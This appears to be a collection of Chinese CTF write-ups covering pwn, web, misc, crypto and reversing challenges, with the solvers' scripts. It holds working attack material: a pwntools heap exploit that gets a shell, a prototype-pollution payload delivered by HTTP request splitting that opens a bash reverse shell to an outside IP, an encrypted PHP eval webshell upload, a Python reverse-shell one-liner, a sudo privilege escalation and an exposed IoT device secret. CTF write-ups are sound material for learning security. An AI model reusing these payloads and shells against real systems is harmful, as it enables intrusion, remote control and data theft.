resp = req.get(url % payload.replace("/","%252F"), headers=headers)

RECERSE

字节码跳动

Creating a Ghidra processor module in SLEIGH using V8 bytecode as an example – PT SWARM (ptsecurity.com)

V8字节码,main→aaa→ccc​,可以直接去找对应func​的字节码

#include <stdio.h>
#include <stdint.h>

uint8_t enc[] = {
    0x3e, 0xdd, 0x79, 0x25, 0xcd, 0x6e, 0x04, 0xab,
    0x44, 0xf2, 0x5b, 0xef, 0x57, 0xbc, 0x53, 0xbd,
    0x20, 0xb7, 0x4b, 0x8c, 0x11, 0xf8, 0x93, 0x09,
    0x0f, 0xdc, 0xdf, 0xdd, 0xad, 0x07, 0x09, 0x10,
    0x01, 0x00, 0xfe, 0x6a, 0x92, 0x30, 0x33, 0x32,
    0x34, 0xfb, 0xae
};

void decrypt(uint8_t *enc, uint8_t *flag, int len) {
    // Initialize variables
    uint8_t r0 = enc[18];
    uint8_t r1 = 159;

    // Decrypt byte sequence
    for (int i = len - 1; i >= 0; i--) {
        if (i > 0 && i < 19) {
            flag[i] = (enc[i] - enc[i - 1] - 51) % 256;
        } else if (i == 0) {
            flag[i] = (enc[i] - 170 - 51) % 256;
        } else {
            r1 ^= enc[i];
            flag[i] = (enc[i] - r1) % 256;
        }
    }
}

int main() {
    uint8_t flag[43] = {0};
    decrypt(enc, flag, 43);
    for (int i = 0; i < 43; i++) {
        printf("%c ", flag[i]);
    }
    printf("\n");
    return 0;
}

PWN

babyheap

rust pwn

有个后门

限制堆块大小0x200​,限制堆块数量不超过8,存在UAF漏洞

2.27版本下tcachebin attack​劫持free_hook​为system​,再通过free将'/bin/sh\x00'​作为rdi送入即可

# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './babyheap'

debug = 0
if debug:
    p = remote('47.98.229.103',1337)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.27.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc-2.31.so'
#ldfile = './ld.so'
ldfile =  '/lib64/ld-linux-x86-64.so.2'

local = 1
armmips = 0
x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips == 0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip, port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi", binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip, port)

elf = ELF(binary)
'''

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 4
show_idx = 2
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))

def choice(cho):
    sla('>>> ',cho)

def add(size,content):
    choice(add_idx)
    sla('now the size: ',size)
    p.sendlineafter('next the content: ',content)

def delete(idx):
    choice(delete_idx)
    sla('house index: ',idx)

def show(idx):
    choice(show_idx)
    sla('house index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('house index: ',idx)
    p.sendlineafter(': ',content)

for i in range(8):
    add(0x1f0,'a'*0x1f0)

for i in range(8):
    delete(1953723762+7-i)

show(0)

libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogg=[0x4f2a5,0x4f302,0x10a2fc]
og=libc_base+ogg[1]

pl=p64(free_hook)
pl+=pl.ljust(0x1f0,b'\x00')
edit(1,pl)

delete(7)
delete(6)

pl2=b'/bin/sh\x00\x00'
pl2+=pl2.ljust(0x1f0,b'\x00')
add(0x1f0,pl2)

pl3=p64(sys)
pl3+=pl3.ljust(0x1f0,b'\x00')
add(0x1f0,pl3)

delete(6)

itr()

#print('========================================================================================')
'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

#print('========================================================================================')

'''
bss = elf.bss()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

syscall = libc_base + libc.sym['syscall']

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]

'''

MISC

懂得都懂带带弟弟

https://github.com/nodejs/node/issues/18265

import('/flag');

消失的声波

image

有提到ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2​这个OSS云存储

直接访问http://iot2023.oss-cn-hangzhou.aliyuncs.com/

image

但是可以wget进行请求

image

https://help.aliyun.com/document_detail/261162.html

https://blog.csdn.net/m0_47722349/article/details/124303495

查找一下相关资料发现,连接这个oss需要一些参数

image

image

在文件里寻找一下这些关键信息

image

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

然后后面那部分topic​要订阅和发送消息,稍稍修改一下:

image

import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging

__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
logging.basicConfig(format=__log_format)

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

lk.enable_logger(logging.DEBUG)

def on_device_dynamic_register(rc, value, userdata):
    if rc == 0:
        print("dynamic register device success, value:" + value)
    else:
        print("dynamic register device fail, message:" + value)

def on_connect(session_flag, rc, userdata):
    print("on_connect:%d,rc:%d" % (session_flag, rc))
    pass

def on_disconnect(rc, userdata):
    print("on_disconnect:rc:%d,userdata:" % rc)

def on_topic_message(topic, payload, qos, userdata):
    print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
    pass

def on_subscribe_topic(mid, granted_qos, userdata):
    print("on_subscribe_topic mid:%d, granted_qos:%s" %
          (mid, str(','.join('%s' % it for it in granted_qos))))
    pass

def on_unsubscribe_topic(mid, userdata):
    print("on_unsubscribe_topic mid:%d" % mid)
    pass

def on_publish_topic(mid, userdata):
    print("on_publish_topic mid:%d" % mid)

lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

while True:
    try:
        msg = input()
    except KeyboardInterrupt:
        sys.exit()
    else:
        if msg == "1":
            lk.disconnect()
        elif msg == "2":
            lk.connect_async()
        elif msg == "3":
            rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("subscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("subscribe topic fail:%d" % rc)
        elif msg == "4":
            rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("unsubscribe topic fail:%d" % rc)
        elif msg == "5":
            rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{'id','flag'}")
            if rc == 0:
                print("publish topic success:%r, mid:%r" % (rc, mid))
            else:
                print("publish topic fail:%d" % rc)
        elif msg == "8":
            ret = lk.dump_user_topics()
            print("user topics:%s", str(ret))
        elif msg == "9":
            lk.destruct()
            print("destructed")
        else:
            sys.exit()

这个对python版本有限制,3.10及以上会报错。。。

而且怀疑阿里云这个iot平台有问题🤔发了好几次没通

7a8c22ad088b45a9e37aaf241ee147b

OOBdetection

需要构建的数据只需要第一阶段的内容就够了,只需要知道变量、数组长度就足够了

然后需要测量的是第二段和第三段的访问是否合法,做键值对去记录它在初始化数据时的内容 同时在这个阶段也预处理做一下长度的校验

关键是第三部分的运算求解赋值,把前面的所有的全都搞一个字典存起来,然后在最后一行的话一直替换替换到替换到不包含字母为止,如果它还是包含字母的话就是no,如果全部能替换到的话,就判断它是否溢出。

import binascii
import re
import socket
import subprocess
import os
import subprocess
from hashlib import sha256

def tostr(shizi,num_dict,n_dict,x):
    match = re.search(r'[a-z]', shizi)
    bz = 0
    while (match and bz < 10):
        bz += 1
        for i in num_dict:
            if i in shizi:
                shizi = shizi.replace(i, num_dict[i])
        for i in n_dict:
            if i in shizi:
                shizi = shizi.replace(i, n_dict[i])
        if 'x' in shizi and x != -123123:
            shizi = shizi.replace('x', str(x))
        match = re.search(r'[a-z]', shizi)
    if bz == 10:
        return 'unknown'
    else:
        return shizi
def panduan( qus):
    n_dict = {}
    max_dict={}
    num_dict={}
    double_dict=[0,0,0]
    x=-123123
    last=''
    for line in qus.splitlines():
        try:
            line=line.replace(' ', '')
            match = re.search(r'int\w\[(.*?)\]\[(.*?)\];', line)
            if match:
                tmp1=match.group(1)
                tmp2 = match.group(2)
                tmp1=tostr(tmp1,num_dict,n_dict,x)
                tmp2=tostr(tmp2,num_dict,n_dict,x)
                if tmp1=='unknown':
                    return 'unknown'
                else:
                    double_dict[1]=eval(tmp1)
                    double_dict[2]=eval(tmp2)
            match = re.search(r'\[(\d+)\]\[(\d+)\]=', line)
            if match:
                if int(match.group(1))<int(double_dict[1]) and int(match.group(2))<int(double_dict[2]):
                    return 'safe'
                else:
                    return 'oob'
            if 'int' in line and not re.search(r'\[(.*?)\]\[(.*?)\];', line):
                match = re.search(r'intx=(\d+);', line)
                if match:
                    x=int(match.group(1))
                # 读取n、n1...
                match=re.search(r'int(n\d*)=(\d+);',line)
                if match:

                   n_dict.update({match.group(1): match.group(2)})
                else:
                    #读取栈上限
                    match = re.search(r'int(\w)\[(n.*)\];', line)
                    if match:
                        max_dict.update({match.group(1): n_dict[match.group(2)]})
                    else:
                        match = re.search(r'int(\w)\[(\d+)\];', line)
                        if match:
                            max_dict.update({match.group(1): match.group(2)})
            else:
                match=re.search(r'(.*?)=(.*?);', line)
                if match:
                    last = line
                    num_dict.update({match.group(1): match.group(2)})
                    match=re.search(r'(\w)\[(\d+)\]=.*?;', line)
                    if match:
                        if int(match.group(2))>=int(max_dict[match.group(1)]):
                            return 'oob'
        except Exception as e:
            print(e)
            return 'oob'
    match = re.search(r'(\w)\[(.*?)\]=.*?;', last)
    if match:
        zimu=match.group(1)
        str1=match.group(2)
        str1=tostr(str1,num_dict,n_dict,x)
        # print(x)
        # print(str1)
        if str1=='unknown':
            return str1
        # print(str1)
        try:
            if eval(str1)>=int(max_dict[zimu]) or eval(str1)<0:
                return 'oob'
            else:
                return 'safe'
        except Exception as e:
            return 'oob'
    return 'unknown'
if __name__ == '__main__':
    # 执行 nc 命令并获取其输出内容
    remote_host = '47.98.209.191'
    remote_port = 1337
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接远程主机的指定端口
    sock.connect((remote_host, remote_port))
    # 接收远程主机发送的数据
    data1 = sock.recv(1024)
    data=data1.decode('utf-8')
    print(data)
    str1=data[13:27]
    str2=data[32:96]
    print(str1)
    print(str2)
    answer=''
    question=''
    count=0;
    data2 = sock.recv(1024)
    for i in range(256):
        for j in range(256):
            for k in range(256):
                a=i.to_bytes(1,byteorder='big')
                b=j.to_bytes(1,byteorder='big')
                c=k.to_bytes(1,byteorder='big')
                # s = os.urandom(10)
                s = a+b+c+bytes.fromhex(str1)
                digest = sha256(s).hexdigest()
                if digest == str2:
                    answer=s[:3].hex()
                    print('Answer is:',s[:3].hex())
                    break
            else:
                continue
            break
        else:
            continue
        break
    answer = answer+'\n'
    sock.send(answer.encode())
    while True:
        while True:
            chunk = sock.recv(1024)
            # print(chunk.decode('utf-8'))
            # print(1)
            if 'int' in chunk.decode('utf-8'):
                question=chunk.decode('utf-8')
            if 'safe/oob/' in chunk.decode('utf-8'):
                # print(2)
                break
            if 'rong' in chunk.decode('utf-8'):
                input()
        # print(3)
        count+=1;
        answer = panduan(question)+'\n'
        # print(answer.encode())
        print(count)
        sock.send(answer.encode())
        if count>=300:
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            input()
    # print('complate!')
    #aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}

image

2022 WestLake CyberSecurity Conference partly WriteUp | To break new ground

Web

real_ez_node

拿到源码,发现 routes/index.js 里面使用了 safe-obj,应该是考察他的原型链污染漏洞,因为对对象进行操作的nodejs模块存在原型链污染漏洞的概率是非常大的。使用以下poc进行测试,发现确实存在原型链污染:

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

image-20230202165056134

但是题目过滤了 __proto__ 源码,一般情况下直接用 constructor 和 prototype 组合 {"constructor": {"prototype": {"whoami": "Vulnerable"}}} 就能绕过了,但是这里不行。跟进 safeobj.expand() 的源码一探究竟:

image-20230202165323983

发现如果键名里面存在 . 才会继续调用 _safe.expand,相当于递归merge的操作,那么我们可以用以下构造便能绕过 __proto__ 了:

{"constructor.prototype.whoami": "Vulnerable"}

此外,题目还是用了 ejs 模板引擎,那么我们很容易想到原型链污染+ejs构造RCE,但是触发原型链污染的/copy路由必须从127.0.0.1本地访问,需要进行ssrf:

image-20230202165640299

发现 /curl 路由可以发起http请求,可以触发ssrf:

image-20230202165726037

还有一点,/copy路由只能用post方法访问,从Dockerfile可以看到当前nodejs版本为8.1.2:

image-20230202165937321

该版本存在 Unicode 字符损坏造成的 HTTP 拆分攻击,之前出过很多这种题目了,可以直接看我写的博客:https://xz.aliyun.com/t/9707#toc-11

编写以下脚本构造payload:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.117.125.220/2333 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

将生生成的payload进行url编码后发包:

image-20230202105741820

成功反弹shell并得到flag:

image-20230202105645424

扭转乾坤

一个java上传:

image-20230202123907702

上传,需要从RFC规范差异绕过waf,直接参考https://www.anquanke.com/post/id/241265 这篇文章钟大哥描述,在Content-Type里面加一个空格即可绕过(即 multipart/fo rm-data),如下图所示。当然,加双引号也是可以绕过的。

image-20230202124010209

请求成功之后直接就得到了 flag。

Node Magical Login

image-20230202134359393

直接将cookie设为 user=admin 就可以拿到 flag1:

image-20230202134830593

然后想办法拿到flag2:

image-20230202134512439

这里的判断存在缺陷,我们可以通过json传入一个长度为16的数组,让 checkcode = checkcode.toLowerCase() 报错,然后进入 catch 就能拿到flag:

POST: /getflag2
Body:{"checkcode":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}

image-20230202134911320

unusual php

直接读index.php发现乱码:

image-20230202162107451

应该是对php源码进行了加密。读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展,如下图所示。

/?a=read&file=/proc/self/maps

image-20230202162439024

通过php://filter加base64将zend_test.so读取出来:

/?a=read&file=php://filter/read=convert.base64-encode/woofers/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

image-20230202162653031

然后用IDA逆向,发现 RC4_set_key 函数:

image-20230202162716228

寻找调用该函数的地方,发现my_compile_file函数调用了这个RC4_set_key 函数:

image-20230202162824124

反编译发现 RC4 密钥 abcsdfadfjiweur,见下图:

image-20230202162921835

目前可以知道,服务器上的php源码是经过RC4加密的,题目加载自定义zend_test.so扩展,对php源码解密后进行解析。

因此我们在上传webshell的时候需要对webshell进行RC4加密,然后上传。

从网上找个RC4加密脚本:https://blog.51cto.com/pythonywy/2838927 简单改改即可成功上传webshell:

import requests
from Crypto.Cipher import ARC4

def rc4_encrypt(data, key):
    key = bytes(key, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    return res

files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>", "abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-eead2f3ac80e4ead9b3fccd9f665b816.m.ins.cloud.dasctf.com:81/?a=upload', files=files)
print(res.text)

然后反弹shell:

cmd=system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.117.125.220',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");

根目录发现flag:

image-20230202161646926

直接读没有权限,需要提权,suid不行,尝试sudo提权:

sudo -l

image-20230202161832598

在gtfobins上搜到chmod的sudo提权方法:

image-20230202161926154

成功得到flag:

image-20230202162004884

Crypto

MyErrorLearn

不会造格子,看到随机数只有246位,想到用二元cop梭

两组rd消掉secret

因为是个随机数,所以有一定可能没有逆元,多搞几组数据,总能跑出来

import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        R = f.base_ring()
        N = R.cardinality()
        f /= f.coefficients().pop(0)
        f = f.change_ring(ZZ)

        G = Sequence([], f.parent())
        for i in range(m + 1):
            base = N ^ (m - i) * f ^ i
            for shifts in itertools.product(range(d), repeat=f.nvariables()):
                g = base * prod(map(power, f.variables(), shifts))
                G.append(g)

        B, monomials = G.coefficient_matrix()
        monomials = vector(monomials)

        factors = [monomial(*bounds) for monomial in monomials]
        for i, factor in enumerate(factors):
            B.rescale_col(i, factor)

        B = B.dense_matrix().LLL()

        B = B.change_ring(QQ)
        for i, factor in enumerate(factors):
            B.rescale_col(i, 1 / factor)

        H = Sequence([], f.parent().change_ring(QQ))
        for h in filter(None, B * monomials):
            H.append(h)
            I = H.ideal()
            if I.dimension() == -1:
                H.pop()
            elif I.dimension() == 0:
                roots = []
                for root in I.variety(ring=ZZ):
                    root = tuple(R(root[var]) for var in f.variables())
                    roots.append(root)
                    return roots
        return []
p = 25235191023234507111851456801584528206985042372267404671395031238130953062002356925024712987566004666222040105887691280375737186627897258541670845000341876132788858532732358145460508251021346995709254475670322359379637454607373466811177186085463653085496949031553289898489953299178676637862141836718530047773

r1 = 10544517294635945308817470415673953180771362098899599976968725399311297296771746063997656229842402301560388736537720072539280424639830877602651632407831551
d1 = 2782528780800419362659480974397004651422831281847745023224292163582634715423442801703341739873334730188828548753799159782529647181590717434501610505691395089780318863450133125982641536246649982688739268421835101997544552742224093729633871069390982382877002517870454671460305638156813116404018630273442795789
r2 = 10499691476661565229277475757146922660983129109495092615067985844065823389870815687394514169362044750353685361213441768156054347771612267920637103002028879
d2 = 3547744859224246950881898678283331489783118786682083992297673853987124277732975529747762299888847775026877369564156210168611385895832076443705943229153199445510086462041507723641534793223186305472220492817699838310227909445124212707082628331021332354893506157533573796617760071491467464095229951567625188503
def secret(p,r1,d1,r2,d2):
    PR.<t1,t2> = PolynomialRing(Zmod(p))
    f1 = d2+t2-(d2+t2)*(d1+t1)*r1
    f2 = d1+t1-(d2+t2)*(d1+t1)*r2
    f = f1-f2
    roots = small_roots(f, (2^246, 2^246), m=5)
    if roots:
        t1,t2 = roots[0]
        S = gmpy2.invert(int(d1+t1), p)-r1
        return int(S)
    else:
        return 'nonono'
print(secret(p,r1,d1,r2,d2))

把求出的secret递回去

image-20230202122542460

Misc

take_the_zip_easy

zip明文爆破的深入利用:已知文件名为dasflow.加上zip默认头504B0304,8+4=12,可以明文爆破

image-20230202122553625

image-20230202122542460

解压后是流量包

做过类似的,魔改的哥斯拉流量,套了一个gzdecode,das月赛书鱼的秘密,直接抄脚本:http://mon0dy.top/2022/04/11/2022DASCTF%20X%20SU%20%E4%B8%89%E6%9C%88%E6%98%A5%E5%AD%A3%E6%8C%91%E6%88%98%E8%B5%9B/#%E4%B9%A6%E9%B1%BC%E7%9A%84%E7%A7%98%E5%AF%86

image-20230202122701532

挨个解,找到

image-20230202122750249

先解响应包

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
#前后去掉16个定位符
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY='),$key));

image-20230202122819779

看到adding flag,确定zip的密码在这个包的请求里

解请求包:

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
$data = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));

image-20230202122626139

得到flag.zip的密码

image-20230202122724425

在找到flag.zip

image-20230202133104326

解压flag.zip即可

mp3

mp3尾部有个图片,提出来,zsteg发现有个zip压缩包

image-20230202133618492

zip是损坏的,winrar修复一下,有密码

mp3stego空密码

image-20230202134006074

提取出zip的密码为8750d5109208213f,解压

image-20230202133420929

rot47

image-20230202133444078

控制台一跑

image-20230202133511033

签到题喵

图片底部有额外文字

image-20230202134205583

image-20230202134240840

image

Re

Dual personality

ida打开后需要先定义函数,然后去掉一些没用的跳转后可以反编译代码

image-20230202134309690

这里先进行了一次加密,dword的数据可以通过动调得到为0x5DF966AE

进入for循环的dword为0x3CA7259D,这样这一部分就可逆了

int __cdecl sub_401120(size_t Size, int a2)
{
  char *v2; // ebx
  char *retaddr; // [esp+D0h] [ebp+4h]

  dword_407050 = VirtualAlloc(0, Size + 6, 0x3000u, 0x40u);
  dword_407000 = (int)dword_407050;
  memcpy(dword_407050, retaddr, Size);
  v2 = (char *)dword_407050 + Size;
  *v2 = -23;
  *(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
  v2[5] = -52;
  *retaddr = -22;
  *(_DWORD *)(retaddr + 1) = a2;
  *(_WORD *)(retaddr + 5) = 51;
  return 0;
}

经过动调发现sub_401120函数会将这个地址后⾯的7个字节的地址改造成进⾏位数转化的jmp far

⽬标地址的指令,⽽新开空间保存的代码,他会跳转回原来返回地址+7的地方,跳过改造之后的代码

再往下看

image-20230202134309690

这里进行了一次异或,407014只有4位,这里就是按位跟加密后的数据进行异或

在动调中401120函数又对407014的值产生了影响

image-20230202134309690

经过计算值应该是4, 0x77, 0x82, 0x4a

image-20230202134309690

再就是dword位与qword位之间的转化了

下面写解密脚本

data = [0xAA,0x4F,0x0F,0xE2,0xE4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0xBC,0x8F,0x8B,0x78,0xD3,0x73,0x88,0x5E,0xAE,0x47,0x85,0x70,0x31,0xB3,0x9,0xCE,0x13,0xF5,0xD,0xCA,0]
k = [4, 0x77, 0x82, 0x4a]
for i in range(len(data)):
    data[i] ^= k[i % 4]

data1 = []
for i in range(4):
    a = data[i * 8]
    a += data[i * 8 + 1] << 8
    a += data[i * 8 + 2] << 16
    a += data[i * 8 + 3] << 24
    a += data[i * 8 + 4] << 32
    a += data[i * 8 + 5] << 40
    a += data[i * 8 + 6] << 48
    a += data[i * 8 + 7] << 56
    data1.append(a)
#print(data1)
def fun1(e, m):
    return (e >> m) | ((e << (64 - m)) )
data1[0] = fun1(data1[0], 12)
data1[1] = fun1(data1[1], 34)
data1[2] = fun1(data1[2], 56)
